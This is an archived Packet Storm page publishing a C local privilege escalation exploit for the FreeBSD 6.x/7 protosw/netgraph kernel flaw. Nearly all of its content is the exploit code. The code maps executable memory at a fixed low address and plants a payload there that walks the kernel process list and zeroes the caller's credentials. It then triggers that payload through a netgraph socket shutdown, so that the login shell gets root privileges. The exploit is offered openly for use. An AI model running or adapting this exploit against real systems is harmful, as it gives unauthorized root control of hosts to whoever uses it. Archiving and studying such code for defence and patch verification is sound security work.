what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

FreeBSD 6x/7 protosw Kernel Local Privilege Escalation Exploit

FreeBSD 6x/7 protosw Kernel Local Privilege Escalation Exploit
Posted Dec 31, 2008
Authored by Don "north" Bailey

FreeBSD 6x/7 protosw kernel local privilege escalation exploit. It does not spawn a new shell but gives your current shell euid=0.

tags | exploit, shell, kernel, local
systems | freebsd
SHA-256 | b8dab657d63737c87d99b627f3b16b1d15d8d609b6868bab906c23dd6abb4cdb

FreeBSD 6x/7 protosw Kernel Local Privilege Escalation Exploit

Change Mirror Download
/*
* This is a quick and very dirty exploit for the FreeBSD protosw vulnerability
* defined here:
* http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc
*
* This will overwrite your credential structure in the kernel. This will
* affect more than just the exploit's process, which is why this doesn't
* spawn a shell. When the exploit has finished, your login shell should
* have euid=0.
*
* Enjoy, and happy holidays!
* - Don "north" Bailey (don.bailey@gmail.com) 12/25/2008
*/

#include <sys/mman.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netgraph/ng_socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>

#define PAGES 1
#define PATTERN1 0x8f8f8f8f
#define PATTERN2 0x6e6e6e6e

typedef unsigned long ulong;
typedef unsigned char uchar;

int
x(void)
{
struct proc * p = (struct proc * )PATTERN1;
uint * i;

while(1)
{
if(p->p_pid == PATTERN2)
{
i = (uint * )p->p_ucred;
*++i = 0;
break;
}

p = p->p_list.le_next;
}

return 1;
}

int
main(int argc, char * argv[])
{
ulong addr;
uchar * c;
uchar * d;
uint * i;
void * v;
int pid;
int s;

if(argc != 2)
{
fprintf(stderr, "usage: ./x <allproc>\n");
return 1;
}

addr = strtoul(argv[1], 0, 0);

v = mmap(
NULL,
(PAGES*PAGE_SIZE),
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_FIXED,
-1,
0);
if(v == MAP_FAILED)
{
perror("mmap");
return 0;
}

c = v;
d = (uchar * )x;
while(1)
{
*c = *d;
if(*d == 0xc3)
{
break;
}

d++;
c++;
}

*c++ = 0xc3;

c = v;
while(1)
{
if(*(long * )c == PATTERN1)
{
*(c + 0) = addr >> 0;
*(c + 1) = addr >> 8;
*(c + 2) = addr >> 16;
*(c + 3) = addr >> 24;
break;
}
c++;
}

pid = getpid();
while(1)
{
if(*(long * )c == PATTERN2)
{
*(c + 0) = pid >> 0;
*(c + 1) = pid >> 8;
*(c + 2) = pid >> 16;
*(c + 3) = pid >> 24;
break;
}
c++;
}

s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
if(s < 0)
{
perror("socket");
return 1;
}

shutdown(s, SHUT_RDWR);

return 0;
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close